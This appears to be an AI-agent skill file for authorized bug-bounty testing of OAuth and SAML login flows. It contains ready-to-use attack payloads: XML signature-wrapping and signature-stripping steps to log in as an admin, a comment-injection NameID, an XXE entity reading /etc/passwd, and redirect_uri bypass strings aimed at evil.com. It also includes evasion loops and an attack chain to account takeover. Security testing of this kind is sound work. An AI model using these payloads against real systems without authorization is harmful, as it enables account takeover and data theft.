OAuth and SAML attack hunting - redirect_uri bypass, state CSRF, SAML XSW (XSW1-XSW8), signature stripping, comment injection. Wiki-first, FIND schema output.
npx skills add https://github.com/Encod3d-Sec/TORCH --skill hunt-federation
Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
qmd_query "OAuth SAML federation redirect_uri bypass XSW signature stripping state CSRF" via wiki-search MCP
Hub: [[web-moc]] (live index). Primary page: [[oauth-attacks]]. Payload arsenal: wiki/payloads/oauth-saml.md.
Anchors: [[saml-attacks]].
Entry points:
/oauth/authorize /oauth/token /oauth/callback /auth/callback
/saml/ /saml/acs /sso/saml /auth/saml/callback
/login?redirect_uri= /signin?next=
Rank before testing - most federation payouts come from the top of this list:
match leaks it to an attacker origin and chains straight to ATO.
the parser reads (stripping, comment injection live here).
Automate the eight variants with SAML Raider.
state on the OAuth callback enables login-CSRF andattacker-to-victim account linking.
.well-known/openid-configuration, JS bundles, APK resources:leaked client_secret, extra grant types, unadvertised endpoints.
<!-- Original: legit assertion by [email protected] -->
<!-- Modified: inject evil assertion with [email protected] before the signed one -->
<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID> <!-- Attacker-controlled -->
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
</saml:Assertion>
</saml:Response>
Use SAMLRaider Burp extension for automated XSW1-XSW8 testing.
# 1. Decode
echo "BASE64_SAML" | base64 -d | xmllint --format - > saml.xml
# 2. Delete entire <Signature> element
# 3. Change NameID to [email protected]
# 4. Re-encode
base64 -w0 saml.xml
# 5. POST -- if server doesn't verify signature = Critical ATO
<NameID>admin<!---->@company.com</NameID>
<!-- Signature covers "admin<!---->@company.com" but parser sees "[email protected]" -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion><NameID>&xxe;</NameID></saml:Assertion>
Try: redirect_uri=https://legit.com.evil.com
Try: redirect_uri=https://legit.com/callback/../../../evil
Try: redirect_uri=https://legit.com&redirect_uri=https://evil.com (param pollution)
Try: encoded chars %2F %40 %23
state parameter entirely - does the flow complete?state validated server-side or only client-side?Setup: two accounts per hunt-core - a victim SSO identity and an attacker identity/client, in
separate browser profiles so SSO cookies never cross.
.well-known/openid-configuration for OIDC surfaceclient_secret in JS bundles or APK resourcespython3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/oauth-attacks.md (SAML findings: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/saml-attacks.md).
Chain: a permissive redirect_uri (host confusion, path traversal, param pollution, or the post-auth
Referer leak above) -> steal the authorization code -> exchange it at /oauth/token -> full ATO. A
trusted NameID / sub from a stripped or XSW assertion is itself an auth bypass; hand the resulting
session to hunt-auth for reset-poisoning and session follow-through.
Evasion when the direct attempt is rejected: cycle the remaining redirect_uri encodings
(%2F %40 %23, legit.com.evil.com, legit.com/../evil, double redirect_uri=) before calling it
validated; when XSW1/2 fail, walk XSW3-XSW8 with SAML Raider (each moves the wrapper relative to the
signed element and the Response-vs-Assertion boundary) before declaring signatures enforced.
NOT confirmation: a redirect that carries an authorization code or token in its URL; an IdP or SP
returning 200 on a modified SAMLResponse; the assertion "accepted"; the flow completing with state
removed; any error, even a revealing one. None of these prove you hold another account.
IS confirmation: a token or authenticated session for another account, obtained through the flaw -
an authorization code stolen via an attacker-controlled redirect_uri and exchanged for that account's
token, or a forged / XSW / signature-stripped assertion that logs you in as the victim (admin session
reached). Then exercise the session, and reproduce from scratch in a clean browser profile with no cached
SSO state (per hunt-core). If the session vanishes in a clean profile, you replayed your own login.
Rated on the session actually obtained, not on what the server merely accepted.
| Outcome | Typical |
|---|---|
| Forged / XSW / stripped assertion logs in as admin (SAML auth bypass) | critical - direct ATO |
| redirect_uri bypass yields a victim's code/token, exchanged to a session | critical / high - ATO |
| Login-CSRF via missing state (attacker session linked to a victim) | medium / high |
| Leaked client_secret / OIDC misconfig, no cross-account session obtained | low - enables other attacks |
Unauthenticated ATO outranks one needing victim interaction. An assertion the SP accepts that yields no
other-account session is not a finding - it is a Deadend.
Append: - [ ] SAML/OAuth on <host> -- XSW1-8 + strip + comment rejected, signature covers NameID;
redirect_uri strictly validated (no encoding/host/traversal/pollution bypass); state enforced
Record which variants you tried, not just that it failed - the next pass needs the boundary.
Take encod3d-sec/hunt-federation from the repository into ~/.claude/skills for personal
use, or into .claude/skills inside a project.
The agent identifies a skill by the name field in its header. Two skills with the
same name cannot sit side by side — one of them will be ignored.